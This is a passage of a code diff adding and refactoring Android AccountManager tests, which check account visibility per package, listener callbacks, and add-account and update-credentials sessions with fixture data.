+        assertEquals(am.getAccountVisibility(ACCOUNT, PACKAGE_NAME_1),
+                AccountManager.VISIBILITY_NOT_VISIBLE);
+
+        am.setAccountVisibility(ACCOUNT, PACKAGE_NAME_PRIVILEGED,
+                AccountManager.VISIBILITY_VISIBLE);
+        // No changes to PACKAGE_NAME_1
+        assertEquals(am.getAccountVisibility(ACCOUNT, PACKAGE_NAME_1),
+                AccountManager.VISIBILITY_NOT_VISIBLE);
+    }
+
+    /**
+     * Test updates to account visibility for authenticator package.
+     */
+    public void testSetAccountVisibilityForPrivilegedPackage()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        am.addAccountExplicitly(ACCOUNT, ACCOUNT_PASSWORD, null /* userData */);
+
+        assertEquals(am.getAccountVisibility(ACCOUNT, PACKAGE_NAME_PRIVILEGED),
+                AccountManager.VISIBILITY_VISIBLE);
+        Map<String, Integer> visibilities = am.getPackagesAndVisibilityForAccount(ACCOUNT);
+        assertNull(visibilities.get(PACKAGE_NAME_PRIVILEGED)); // no entry in database
+
+        am.setAccountVisibility(ACCOUNT, PACKAGE_NAME_PRIVILEGED,
+                AccountManager.VISIBILITY_NOT_VISIBLE);
+        visibilities = am.getPackagesAndVisibilityForAccount(ACCOUNT);
+        // database is updated
+        assertEquals((int) visibilities.get(PACKAGE_NAME_PRIVILEGED),
+                AccountManager.VISIBILITY_NOT_VISIBLE);
+        // VISIBILITY_VISIBLE is used for Authenticator despite database entry.
+        assertEquals(am.getAccountVisibility(ACCOUNT, PACKAGE_NAME_PRIVILEGED),
+                AccountManager.VISIBILITY_VISIBLE);
+    }
+
+    /**
+     * Test getPackagesAndVisibilityForAccount() method.
+     */
+    public void testGetPackagesAndVisibilityForAccount()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        am.addAccountExplicitly(ACCOUNT, ACCOUNT_PASSWORD, null /* userData */);
+
+        Map<String, Integer> visibilities = am.getPackagesAndVisibilityForAccount(ACCOUNT);
+        assertNull(visibilities.get(PACKAGE_NAME_1)); // no entry in database
+
+        am.setAccountVisibility(ACCOUNT, PACKAGE_NAME_1, AccountManager.VISIBILITY_VISIBLE);
+        am.setAccountVisibility(ACCOUNT, PACKAGE_NAME_PRIVILEGED,
+                AccountManager.VISIBILITY_USER_MANAGED_VISIBLE);
+        visibilities = am.getPackagesAndVisibilityForAccount(ACCOUNT);
+        assertEquals(visibilities.size(), 2);
+        assertEquals((int) visibilities.get(PACKAGE_NAME_1), AccountManager.VISIBILITY_VISIBLE);
+        assertEquals((int) visibilities.get(PACKAGE_NAME_PRIVILEGED),
+                AccountManager.VISIBILITY_USER_MANAGED_VISIBLE);
+    }
+
+    /**
+     * Test addAccountExplicitly(), setAccountVisibility() , getAccountVisibility(), and
+     * removeAccount().
+     */
+    public void testAddAccountExplicitlyWithVisibility()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        Map<String, Integer> visibility = new HashMap<>();
+        visibility.put(PACKAGE_NAME_1, AccountManager.VISIBILITY_USER_MANAGED_NOT_VISIBLE);
+
+        final int expectedAccountsCount = getAccountsCount();
+
+        am.addAccountExplicitly(ACCOUNT, ACCOUNT_PASSWORD, null /* userData */, visibility);
+
+        // Assert that we have one more account
+        Account[] accounts = am.getAccounts();
+        assertNotNull(accounts);
+        assertEquals(1 + expectedAccountsCount, accounts.length);
+        assertTrue(isAccountPresent(am.getAccounts(), ACCOUNT));
+
+        // Visibility values were stored.
+        assertEquals(am.getAccountVisibility(ACCOUNT, PACKAGE_NAME_1),
+                AccountManager.VISIBILITY_USER_MANAGED_NOT_VISIBLE);
+        assertTrue(removeAccount(am, ACCOUNT, mActivity, null /* callback */)
+                .getBoolean(AccountManager.KEY_BOOLEAN_RESULT));
+
+        // Visibility values were removed
+        Map<Account, Integer> visibilities =
+                am.getAccountsAndVisibilityForPackage(PACKAGE_NAME_1, ACCOUNT_TYPE);
+        assertNull(visibilities.get(ACCOUNT));
+
+        // and verify that we go back to the initial state
+        accounts = am.getAccounts();
+        assertNotNull(accounts);
+        assertEquals(expectedAccountsCount, accounts.length);
+    }
+
+    /**
+     * Test testGetAccountsAndVisibilityForPackage(), getAccountsByTypeForPackage() methods.
+     */
+    public void testGetAccountsAndVisibilityForPackage() {
+        am.addAccountExplicitly(ACCOUNT, ACCOUNT_PASSWORD, null /* userData */, null);
+        am.addAccountExplicitly(ACCOUNT_SAME_TYPE, ACCOUNT_PASSWORD, null /* userData */, null);
+
+        am.setAccountVisibility(ACCOUNT, PACKAGE_NAME_1, AccountManager.VISIBILITY_NOT_VISIBLE);
+        am.setAccountVisibility(ACCOUNT_SAME_TYPE, PACKAGE_NAME_1,
+                AccountManager.VISIBILITY_VISIBLE);
+        assertEquals(am.getAccountVisibility(ACCOUNT_SAME_TYPE, PACKAGE_NAME_1),
+                AccountManager.VISIBILITY_VISIBLE);
+        assertEquals(am.getAccountVisibility(ACCOUNT, PACKAGE_NAME_1),
+                AccountManager.VISIBILITY_NOT_VISIBLE);
+        Account[] accounts = am.getAccountsByTypeForPackage(ACCOUNT_TYPE, PACKAGE_NAME_1);
+        assertEquals(accounts.length, 1); // VISIBILITY_NOT_VISIBLE accounts are not returned.
+        assertEquals(accounts[0], ACCOUNT_SAME_TYPE);
+        Map<Account, Integer> visibilities =
+                am.getAccountsAndVisibilityForPackage(PACKAGE_NAME_1, ACCOUNT_TYPE);
+        assertEquals((int) visibilities.get(ACCOUNT), AccountManager.VISIBILITY_NOT_VISIBLE);
+
+        am.setAccountVisibility(ACCOUNT, PACKAGE_NAME_1,
+                AccountManager.VISIBILITY_USER_MANAGED_NOT_VISIBLE);
+
+        assertEquals(am.getAccountVisibility(ACCOUNT, PACKAGE_NAME_1),
+                AccountManager.VISIBILITY_USER_MANAGED_NOT_VISIBLE);
+        // VISIBILITY_USER_MANAGED_NOT_VISIBLE accounts are returned by getAccountsByTypeForPackage
+        assertEquals(am.getAccountsByTypeForPackage(ACCOUNT_TYPE, PACKAGE_NAME_1).length, 2);
+        visibilities = am.getAccountsAndVisibilityForPackage(PACKAGE_NAME_1, ACCOUNT_TYPE);
+        assertEquals((int) visibilities.get(ACCOUNT),
+                AccountManager.VISIBILITY_USER_MANAGED_NOT_VISIBLE);
+
+        am.setAccountVisibility(ACCOUNT, PACKAGE_NAME_1,
+                AccountManager.VISIBILITY_USER_MANAGED_VISIBLE);
+
+        assertEquals(am.getAccountVisibility(ACCOUNT, PACKAGE_NAME_1),
+                AccountManager.VISIBILITY_USER_MANAGED_VISIBLE);
+        assertEquals(am.getAccountsByTypeForPackage(ACCOUNT_TYPE, PACKAGE_NAME_1).length, 2);
+        visibilities = am.getAccountsAndVisibilityForPackage(PACKAGE_NAME_1, ACCOUNT_TYPE);
+        assertEquals((int) visibilities.get(ACCOUNT),
+                AccountManager.VISIBILITY_USER_MANAGED_VISIBLE);
+
+        am.setAccountVisibility(ACCOUNT, PACKAGE_NAME_1, AccountManager.VISIBILITY_VISIBLE);
+
+        assertEquals(am.getAccountsByTypeForPackage(ACCOUNT_TYPE, PACKAGE_NAME_1).length, 2);
+        visibilities = am.getAccountsAndVisibilityForPackage(PACKAGE_NAME_1, ACCOUNT_TYPE);
+        assertEquals((int) visibilities.get(ACCOUNT), AccountManager.VISIBILITY_VISIBLE);
+        assertEquals(am.getAccountsByTypeForPackage(ACCOUNT_TYPE, PACKAGE_NAME_1).length, 2);
+
+        // VISIBILITY_USER MANAGED_NOT_VISIBLE accounts are not returned when type is null.
+        // It should be equivalent to callling am.getAccounts() which doesn't return
+        // VISIBILITY_USER MANAGED_NOT_VISIBLE accounts.
+        assertEquals(am.getAccountsByTypeForPackage(null, PACKAGE_NAME_1).length,
+            am.getAccounts().length);
+    }
+
+    /**
+     * Test checks order of accounts returned by getAccounts...().
+     * Accounts should be grouped by type.
+     */
+    public void testGetAccountsReturnedOrder() {
+        Account account_1_1 = new Account("account_z", ACCOUNT_TYPE);
+        Account account_1_2 = new Account("account_c", ACCOUNT_TYPE);
+        Account account_1_3 = new Account("account_a", ACCOUNT_TYPE);
+
+        Account account_2_1 = new Account("account_b", ACCOUNT_TYPE_CUSTOM);
+        Account account_2_2 = new Account("account_f", ACCOUNT_TYPE_CUSTOM);
+        Account account_2_3 = new Account("account_a", ACCOUNT_TYPE_CUSTOM);
+
+        am.addAccountExplicitly(account_1_1, ACCOUNT_PASSWORD, null /* userData */, null);
+        am.addAccountExplicitly(account_1_2, ACCOUNT_PASSWORD, null /* userData */, null);
+        am.addAccountExplicitly(account_2_1, ACCOUNT_PASSWORD, null /* userData */, null);
+
+        verifyAccountsGroupedByType(am.getAccounts());
+        verifyAccountsGroupedByType(am.getAccountsByType(null));
+        verifyAccountsGroupedByType(am.getAccountsByTypeForPackage(null, PACKAGE_NAME_1));
+
+        am.addAccountExplicitly(account_2_2, ACCOUNT_PASSWORD, null /* userData */, null);
+
+        verifyAccountsGroupedByType(am.getAccounts());
+        verifyAccountsGroupedByType(am.getAccountsByType(null));
+        verifyAccountsGroupedByType(am.getAccountsByTypeForPackage(null, PACKAGE_NAME_1));
+
+        am.addAccountExplicitly(account_1_3, ACCOUNT_PASSWORD, null /* userData */, null);
+        verifyAccountsGroupedByType(am.getAccounts());
+        verifyAccountsGroupedByType(am.getAccountsByType(null));
+        verifyAccountsGroupedByType(am.getAccountsByTypeForPackage(null, PACKAGE_NAME_1));
+
+        am.addAccountExplicitly(account_2_3, ACCOUNT_PASSWORD, null /* userData */, null);
+
+        verifyAccountsGroupedByType(am.getAccounts());
+        verifyAccountsGroupedByType(am.getAccountsByType(null));
+        verifyAccountsGroupedByType(am.getAccountsByTypeForPackage(null, PACKAGE_NAME_1));
+    }
+
+    /**
      * Test setUserData() and getUserData().
      */
     public void testAccountRenameAndGetPreviousName()
             throws OperationCanceledException, AuthenticatorException, IOException {
         // Add a first account
-        boolean result = am.addAccountExplicitly(ACCOUNT,
-                                ACCOUNT_PASSWORD,
-                                USERDATA_BUNDLE);
+
+        boolean result = am.addAccountExplicitly(ACCOUNT, ACCOUNT_PASSWORD, USERDATA_BUNDLE);
+
         assertTrue(result);
 
-        // Prior to a renmae, the previous name should be null.
+        // Prior to a rename, the previous name should be null.
         String nullName = am.getPreviousName(ACCOUNT);
         assertNull(nullName);
 
         final int expectedAccountsCount = getAccountsCount();
 
         Account renamedAccount = renameAccount(am, ACCOUNT, ACCOUNT_NEW_NAME);
-
         /*
          *  Make sure that the resultant renamed account has the correct name
          *  and is associated with the correct account type.
@@ -708,9 +927,10 @@
 
         assertEquals(ACCOUNT.name, am.getPreviousName(renamedAccount));
 
-       // Need to clean up
+        // Need to clean up
         assertTrue(removeAccount(am, renamedAccount, mActivity, null /* callback */).getBoolean(
                 AccountManager.KEY_BOOLEAN_RESULT));
+
     }
 
     /**
@@ -1758,13 +1978,7 @@
             boolean updateImmediately) {
 
         final CountDownLatch latch = new CountDownLatch(1);
-
-        OnAccountsUpdateListener listener = new OnAccountsUpdateListener() {
-            @Override
-            public void onAccountsUpdated(Account[] accounts) {
-                latch.countDown();
-            }
-        };
+        OnAccountsUpdateListener listener =  accounts -> latch.countDown();
 
         // Add a listener
         am.addOnAccountsUpdatedListener(listener,
@@ -1785,6 +1999,62 @@
     }
 
     /**
+     * Test addOnAccountsUpdatedListener() with visibility
+     */
+    public void testAddOnAccountsUpdatedListenerWithVisibility() throws IOException,
+            AuthenticatorException, OperationCanceledException {
+
+        testAddOnAccountsUpdatedListenerWithVisibility(null /* handler */,
+                false /* updateImmediately */, new String[] {ACCOUNT_TYPE, ACCOUNT_TYPE_ABSENT});
+
+        // Need to cleanup intermediate state
+        assertTrue(removeAccount(am, ACCOUNT, mActivity, null /* callback */).getBoolean(
+                AccountManager.KEY_BOOLEAN_RESULT));
+
+        testAddOnAccountsUpdatedListenerWithVisibility(null /* handler */,
+                true /* updateImmediately */, null /* types */);
+
+        // Need to cleanup intermediate state
+        assertTrue(removeAccount(am, ACCOUNT, mActivity, null /* callback */).getBoolean(
+                AccountManager.KEY_BOOLEAN_RESULT));
+
+        testAddOnAccountsUpdatedListenerWithVisibility(new Handler(Looper.getMainLooper()),
+                false /* updateImmediately */, new String[] {ACCOUNT_TYPE});
+
+        // Need to cleanup intermediate state
+        assertTrue(removeAccount(am, ACCOUNT, mActivity, null /* callback */).getBoolean(
+                AccountManager.KEY_BOOLEAN_RESULT));
+
+        testAddOnAccountsUpdatedListenerWithVisibility(new Handler(Looper.getMainLooper()),
+                true /* updateImmediately */, new String[] {ACCOUNT_TYPE});
+    }
+
+    private void testAddOnAccountsUpdatedListenerWithVisibility(Handler handler,
+            boolean updateImmediately, String[] accountTypes) {
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        OnAccountsUpdateListener listener =  accounts -> latch.countDown();
+
+        // Add a listener
+        am.addOnAccountsUpdatedListener(listener,
+                handler,
+                updateImmediately,
+                accountTypes);
+
+        addAccountExplicitly(ACCOUNT, ACCOUNT_PASSWORD, null /* userData */);
+
+        // Wait with timeout for the callback to do its work
+        try {
+            latch.await(LATCH_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            fail("should not throw an InterruptedException");
+        }
+
+        // Cleanup
+        am.removeOnAccountsUpdatedListener(listener);
+    }
+
+    /**
      * Test removeOnAccountsUpdatedListener() with handler
      */
     public void testRemoveOnAccountsUpdatedListener() throws IOException, AuthenticatorException,
@@ -1800,14 +2070,9 @@
     }
 
     private void testRemoveOnAccountsUpdatedListenerWithHandler(Handler handler) {
-        final CountDownLatch latch = new CountDownLatch(1);
 
-        OnAccountsUpdateListener listener = new OnAccountsUpdateListener() {
-            @Override
-            public void onAccountsUpdated(Account[] accounts) {
-                fail("should not be called");
-            }
-        };
+        final CountDownLatch latch = new CountDownLatch(1);
+        OnAccountsUpdateListener listener =  accounts -> fail("should not be called");
 
         // First add a listener
         am.addOnAccountsUpdatedListener(listener,
@@ -2031,7 +2296,7 @@
         StrictMode.ThreadPolicy oldPolicy = StrictMode.getThreadPolicy();
         try {
             StrictMode.setThreadPolicy(
-                new StrictMode.ThreadPolicy.Builder().detectDiskReads().penaltyDeath().build());
+                    new StrictMode.ThreadPolicy.Builder().detectDiskReads().penaltyDeath().build());
             Account[] accounts = am.getAccounts();
             assertNotNull(accounts);
             assertTrue(accounts.length > 0);
@@ -2040,4 +2305,1986 @@
         }
     }
 
+    /**
+     * Tests a basic startAddAccountSession() which returns a bundle containing
+     * encrypted session bundle, account password and status token.
+     */
+    public void testStartAddAccountSession()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        final String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@"
+                + Fixtures.SUFFIX_NAME_FIXTURE;
+        final Bundle options = createOptionsWithAccountName(accountName);
+
+        Bundle resultBundle = startAddAccountSession(
+                am,
+                ACCOUNT_TYPE,
+                AUTH_TOKEN_TYPE,
+                REQUIRED_FEATURES,
+                options,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        validateStartAddAccountSessionParametersAndOptions(accountName, options);
+
+        // Assert returned result
+        // Assert that auth token was stripped.
+        assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+        validateSessionBundleAndPasswordAndStatusTokenResult(resultBundle);
+    }
+
+    /**
+     * Tests startAddAccountSession() with null session bundle. Only account
+     * password and status token should be included in the result as session
+     * bundle is not inspected.
+     */
+    public void testStartAddAccountSessionWithNullSessionBundle()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        final Bundle options = new Bundle();
+        final String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@"
+                + Fixtures.SUFFIX_NAME_FIXTURE;
+        options.putString(Fixtures.KEY_ACCOUNT_NAME, accountName);
+        options.putAll(OPTIONS_BUNDLE);
+
+        Bundle resultBundle = startAddAccountSession(
+                am,
+                ACCOUNT_TYPE,
+                AUTH_TOKEN_TYPE,
+                REQUIRED_FEATURES,
+                options,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        validateStartAddAccountSessionParametersAndOptions(accountName, options);
+
+        // Assert returned result
+        // Assert that auth token was stripped.
+        assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+        assertNull(resultBundle.getBundle(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE));
+        assertNull(resultBundle.getString(AccountManager.KEY_PASSWORD));
+        assertEquals(ACCOUNT_STATUS_TOKEN,
+                resultBundle.getString(AccountManager.KEY_ACCOUNT_STATUS_TOKEN));
+    }
+
+    /**
+     * Tests startAddAccountSession() with empty session bundle. An encrypted
+     * session bundle, account password and status token should be included in
+     * the result as session bundle is not inspected.
+     */
+    public void testStartAddAccountSessionWithEmptySessionBundle()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        final Bundle options = new Bundle();
+        final String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@"
+                + Fixtures.SUFFIX_NAME_FIXTURE;
+        options.putString(Fixtures.KEY_ACCOUNT_NAME, accountName);
+        options.putBundle(Fixtures.KEY_ACCOUNT_SESSION_BUNDLE, new Bundle());
+        options.putAll(OPTIONS_BUNDLE);
+
+        Bundle resultBundle = startAddAccountSession(
+                am,
+                ACCOUNT_TYPE,
+                AUTH_TOKEN_TYPE,
+                REQUIRED_FEATURES,
+                options,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        validateStartAddAccountSessionParametersAndOptions(accountName, options);
+
+        // Assert returned result
+        // Assert that auth token was stripped.
+        assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+        validateSessionBundleAndPasswordAndStatusTokenResult(resultBundle);
+    }
+
+    /**
+     * Tests startAddAccountSession with authenticator activity started. When
+     * Activity is provided, AccountManager would start the resolution Intent
+     * and return the final result which contains an encrypted session bundle,
+     * account password and status token.
+     */
+    public void testStartAddAccountSessionIntervene()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        final String accountName = Fixtures.PREFIX_NAME_INTERVENE + "@"
+                + Fixtures.SUFFIX_NAME_FIXTURE;
+        final Bundle options = createOptionsWithAccountName(accountName);
+
+        Bundle resultBundle = startAddAccountSession(
+                am,
+                ACCOUNT_TYPE,
+                AUTH_TOKEN_TYPE,
+                REQUIRED_FEATURES,
+                options,
+                mActivity,
+                null /* callback */,
+                null /* handler */);
+
+        validateStartAddAccountSessionParametersAndOptions(accountName, options);
+
+        // Assert returned result
+        assertNull(resultBundle.getParcelable(AccountManager.KEY_INTENT));
+        // Assert that auth token was stripped.
+        assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+        validateSessionBundleAndPasswordAndStatusTokenResult(resultBundle);
+    }
+
+    /**
+     * Tests startAddAccountSession with KEY_INTENT returned but not started
+     * automatically. When no Activity is provided and authenticator requires
+     * additional data from user, KEY_INTENT will be returned by AccountManager.
+     */
+    public void testStartAddAccountSessionWithReturnIntent()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        final String accountName = Fixtures.PREFIX_NAME_INTERVENE + "@"
+                + Fixtures.SUFFIX_NAME_FIXTURE;
+        final Bundle options = createOptionsWithAccountName(accountName);
+
+        Bundle resultBundle = startAddAccountSession(
+                am,
+                ACCOUNT_TYPE,
+                AUTH_TOKEN_TYPE,
+                REQUIRED_FEATURES,
+                options,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        validateStartAddAccountSessionParametersAndOptions(accountName, options);
+
+        // Assert returned result
+        Intent returnIntent = resultBundle.getParcelable(AccountManager.KEY_INTENT);
+        // Assert that KEY_INTENT is returned.
+        assertNotNull(returnIntent);
+        assertNotNull(returnIntent.getParcelableExtra(Fixtures.KEY_RESULT));
+        // Assert that no other data is returned.
+        assertNull(resultBundle.getString(AccountManager.KEY_ACCOUNT_STATUS_TOKEN));
+        assertNull(resultBundle.getString(AccountManager.KEY_PASSWORD));
+        assertNull(resultBundle.getString(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE));
+        assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+    }
+
+    /**
+     * Tests startAddAccountSession error case. AuthenticatorException is
+     * expected when authenticator return
+     * {@link AccountManager#ERROR_CODE_INVALID_RESPONSE} error code.
+     */
+    public void testStartAddAccountSessionError() throws IOException, OperationCanceledException {
+        final String accountName = Fixtures.PREFIX_NAME_ERROR + "@"
+                + Fixtures.SUFFIX_NAME_FIXTURE;
+        final Bundle options = createOptionsWithAccountNameAndError(accountName);
+
+        try {
+            startAddAccountSession(
+                am,
+                ACCOUNT_TYPE,
+                AUTH_TOKEN_TYPE,
+                REQUIRED_FEATURES,
+                options,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+            fail("startAddAccountSession should throw AuthenticatorException in error case.");
+        } catch (AuthenticatorException e) {
+        }
+    }
+
+    /**
+     * Tests startAddAccountSession() with callback and handler. An encrypted
+     * session bundle, account password and status token should be included in
+     * the result. Callback should be triggered with the result regardless of a
+     * handler is provided or not.
+     */
+    public void testStartAddAccountSessionWithCallbackAndHandler()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        testStartAddAccountSessionWithCallbackAndHandler(null /* handler */);
+        testStartAddAccountSessionWithCallbackAndHandler(new Handler(Looper.getMainLooper()));
+    }
+
+    /**
+     * Tests startAddAccountSession() with callback and handler and activity
+     * started. When Activity is provided, AccountManager would start the
+     * resolution Intent and return the final result which contains an encrypted
+     * session bundle, account password and status token. Callback should be
+     * triggered with the result regardless of a handled is provided or not.
+     */
+    public void testStartAddAccountSessionWithCallbackAndHandlerWithIntervene()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        testStartAddAccountSessionWithCallbackAndHandlerWithIntervene(null /* handler */);
+        testStartAddAccountSessionWithCallbackAndHandlerWithIntervene(
+                new Handler(Looper.getMainLooper()));
+    }
+
+    /**
+     * Tests startAddAccountSession() with callback and handler with KEY_INTENT
+     * returned. When no Activity is provided and authenticator requires
+     * additional data from user, KEY_INTENT will be returned by AccountManager
+     * in callback regardless of a handler is provided or not.
+     */
+    public void testStartAddAccountSessionWithCallbackAndHandlerWithReturnIntent()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        testStartAddAccountSessionWithCallbackAndHandlerWithReturnIntent(null /* handler */);
+        testStartAddAccountSessionWithCallbackAndHandlerWithReturnIntent(
+                new Handler(Looper.getMainLooper()));
+    }
+
+    /**
+     * Tests startAddAccountSession() error case with callback and handler.
+     * AuthenticatorException is expected when authenticator return
+     * {@link AccountManager#ERROR_CODE_INVALID_RESPONSE} error code.
+     */
+    public void testStartAddAccountSessionErrorWithCallbackAndHandler()
+            throws IOException, OperationCanceledException {
+        testStartAddAccountSessionErrorWithCallbackAndHandler(null /* handler */);
+        testStartAddAccountSessionErrorWithCallbackAndHandler(new Handler(Looper.getMainLooper()));
+    }
+
+    private void testStartAddAccountSessionWithCallbackAndHandler(Handler handler)
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        final String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@"
+                + Fixtures.SUFFIX_NAME_FIXTURE;
+        final Bundle options = createOptionsWithAccountName(accountName);
+
+        // Wait with timeout for the callback to do its work
+        final CountDownLatch latch = new CountDownLatch(1);
+
+        AccountManagerCallback<Bundle> callback = new AccountManagerCallback<Bundle>() {
+            @Override
+            public void run(AccountManagerFuture<Bundle> bundleFuture) {
+                Bundle resultBundle = getResultExpectNoException(bundleFuture);
+
+                validateStartAddAccountSessionParametersAndOptions(accountName, options);
+
+                // Assert returned result
+                // Assert that auth token was stripped.
+                assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+                validateSessionBundleAndPasswordAndStatusTokenResult(resultBundle);
+
+                latch.countDown();
+            }
+        };
+
+        startAddAccountSession(
+                am,
+                ACCOUNT_TYPE,
+                AUTH_TOKEN_TYPE,
+                REQUIRED_FEATURES,
+                options,
+                mActivity,
+                callback,
+                handler);
+        waitForLatch(latch);
+    }
+
+    private void testStartAddAccountSessionWithCallbackAndHandlerWithIntervene(Handler handler)
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        final String accountName = Fixtures.PREFIX_NAME_INTERVENE + "@"
+                + Fixtures.SUFFIX_NAME_FIXTURE;
+        final Bundle options = createOptionsWithAccountName(accountName);
+
+        // Wait with timeout for the callback to do its work
+        final CountDownLatch latch = new CountDownLatch(1);
+
+        AccountManagerCallback<Bundle> callback = new AccountManagerCallback<Bundle>() {
+            @Override
+            public void run(AccountManagerFuture<Bundle> bundleFuture) {
+                Bundle resultBundle = getResultExpectNoException(bundleFuture);
+
+                validateStartAddAccountSessionParametersAndOptions(accountName, options);
+
+                // Assert returned result
+                assertNull(resultBundle.getParcelable(AccountManager.KEY_INTENT));
+                // Assert that auth token was stripped.
+                assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+                validateSessionBundleAndPasswordAndStatusTokenResult(resultBundle);
+
+                latch.countDown();
+            }
+        };
+
+        startAddAccountSession(
+                am,
+                ACCOUNT_TYPE,
+                AUTH_TOKEN_TYPE,
+                REQUIRED_FEATURES,
+                options,
+                mActivity,
+                callback,
+                handler);
+        waitForLatch(latch);
+    }
+
+    private void testStartAddAccountSessionWithCallbackAndHandlerWithReturnIntent(Handler handler)
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        final String accountName = Fixtures.PREFIX_NAME_INTERVENE + "@"
+                + Fixtures.SUFFIX_NAME_FIXTURE;
+        final Bundle options = createOptionsWithAccountName(accountName);
+
+        // Wait with timeout for the callback to do its work
+        final CountDownLatch latch = new CountDownLatch(1);
+
+        AccountManagerCallback<Bundle> callback = new AccountManagerCallback<Bundle>() {
+            @Override
+            public void run(AccountManagerFuture<Bundle> bundleFuture) {
+                Bundle resultBundle = getResultExpectNoException(bundleFuture);
+
+                validateStartAddAccountSessionParametersAndOptions(accountName, options);
+
+                // Assert returned result
+                Intent returnIntent = resultBundle.getParcelable(AccountManager.KEY_INTENT);
+                // Assert KEY_INTENT is returned.
+                assertNotNull(returnIntent);
+                assertNotNull(returnIntent.getParcelableExtra(Fixtures.KEY_RESULT));
+                // Assert that no other data is returned.
+                assertNull(resultBundle.getString(AccountManager.KEY_ACCOUNT_STATUS_TOKEN));
+                assertNull(resultBundle.getString(AccountManager.KEY_PASSWORD));
+                assertNull(resultBundle.getString(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE));
+                assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+
+                latch.countDown();
+            }
+        };
+
+        startAddAccountSession(
+                am,
+                ACCOUNT_TYPE,
+                AUTH_TOKEN_TYPE,
+                REQUIRED_FEATURES,
+                options,
+                null, // activity
+                callback,
+                handler);
+        waitForLatch(latch);
+    }
+
+    private void testStartAddAccountSessionErrorWithCallbackAndHandler(Handler handler)
+            throws IOException, OperationCanceledException {
+        final String accountName = Fixtures.PREFIX_NAME_ERROR + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        final Bundle options = createOptionsWithAccountNameAndError(accountName);
+
+        // Wait with timeout for the callback to do its work
+        final CountDownLatch latch = new CountDownLatch(1);
+
+        AccountManagerCallback<Bundle> callback = new AccountManagerCallback<Bundle>() {
+            @Override
+            public void run(AccountManagerFuture<Bundle> bundleFuture) {
+                try {
+                    bundleFuture.getResult();
+                    fail("should have thrown an AuthenticatorException");
+                } catch (OperationCanceledException e) {
+                    fail("should not throw an OperationCanceledException");
+                } catch (IOException e) {
+                    fail("should not throw an IOException");
+                } catch (AuthenticatorException e) {
+                    latch.countDown();
+                }
+            }
+        };
+
+        try {
+            startAddAccountSession(
+                    am,
+                    ACCOUNT_TYPE,
+                    AUTH_TOKEN_TYPE,
+                    REQUIRED_FEATURES,
+                    options,
+                    mActivity,
+                    callback,
+                    handler);
+            // AuthenticatorException should be thrown when authenticator
+            // returns AccountManager.ERROR_CODE_INVALID_RESPONSE.
+            fail("should have thrown an AuthenticatorException");
+        } catch (AuthenticatorException e1) {
+        }
+
+        waitForLatch(latch);
+    }
+
+    /**
+     * Test a basic startUpdateCredentialsSession() which returns a bundle containing
+     * encrypted session bundle, account password and status token.
+     */
+    public void testStartUpdateCredentialsSession()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        Bundle options = createOptionsWithAccountName(accountName);
+
+        Bundle resultBundle = startUpdateCredentialsSession(
+                am,
+                ACCOUNT,
+                AUTH_TOKEN_TYPE,
+                options,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        validateStartUpdateCredentialsSessionParametersAndOptions(accountName, options);
+
+        // Assert returned result
+        // Assert that auth token was stripped.
+        assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+        validateSessionBundleAndPasswordAndStatusTokenResult(resultBundle);
+    }
+
+    /**
+     * Tests startUpdateCredentialsSession() with null session bundle. Only account
+     * password and status token should be included in the result as session
+     * bundle is not inspected.
+     */
+    public void testStartUpdateCredentialsSessionWithNullSessionBundle()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        Bundle options = new Bundle();
+        String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        options.putString(Fixtures.KEY_ACCOUNT_NAME, accountName);
+        options.putAll(OPTIONS_BUNDLE);
+
+        Bundle resultBundle = startUpdateCredentialsSession(
+                am,
+                ACCOUNT,
+                AUTH_TOKEN_TYPE,
+                options,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        validateStartUpdateCredentialsSessionParametersAndOptions(accountName, options);
+
+        // Assert returned result
+        // Assert that auth token was stripped.
+        assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+        assertNull(resultBundle.getBundle(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE));
